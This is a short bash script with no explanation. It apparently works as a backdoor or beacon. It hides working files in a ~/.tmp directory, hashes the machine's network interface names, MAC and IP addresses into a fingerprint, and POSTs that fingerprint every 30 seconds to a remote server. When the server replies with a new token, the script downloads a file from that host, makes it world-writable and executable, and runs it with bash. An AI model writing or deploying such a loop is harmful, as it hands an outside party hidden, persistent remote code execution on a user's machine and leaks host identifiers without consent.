#!/usr/bin/env bash



whoami=`whoami`
mkdir -p /home/$whoami/.tmp
mkdir -p /home/$whoami/.tmp/log

if [ ! -e "/home/$whoami/.tmp/token" ];then
echo "Z" > /home/$whoami/.tmp/token
fi

echo $$ > /home/$whoami/.tmp/standby.pid


mark=`ip addr | awk 'function p(){if(N~/lo/||N=="")return;print "network"++c"= "N"\nmac"c"="mac"\nip="ip;ip=mac=""}match($0,"[0-9]+: ([^ ]+):",a){p();N=a[1]}/inet /{sub("/.+$","",$2);ip=$2}/link\//{mac=$2}END{p()}'`
md5=`echo -n $mark|md5sum | sed -e 's/  -//g'`
cmd="curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \
\"content\": \"$md5\" \
}' 'http://www.luohao.work/server/listen'"


while true
do
    sleep 30
    res=`eval $cmd`
    var=`cat /home/$whoami/.tmp/token`
    len=`expr length $res`
    if [ ${var} != ${res} ] &&  [[ ${len} -gt 30 ]] && [[ ${var} != "Z" ]]
    then
        echo "no"
        echo ${res} > /home/$whoami/.tmp/token
        echo "[FIRE] old:$var:new:$res" >> /home/$whoami/.tmp/log/standy
        curl -o /home/$whoami/.tmp/qfqoe777878asd2 http://www.luohao.work/fileApi/down?arg="dyna"
        chmod 777 /home/$whoami/.tmp/qfqoe777878asd2
        bash /home/$whoami/.tmp/qfqoe777878asd2
        else
    echo "yes"
    fi
done








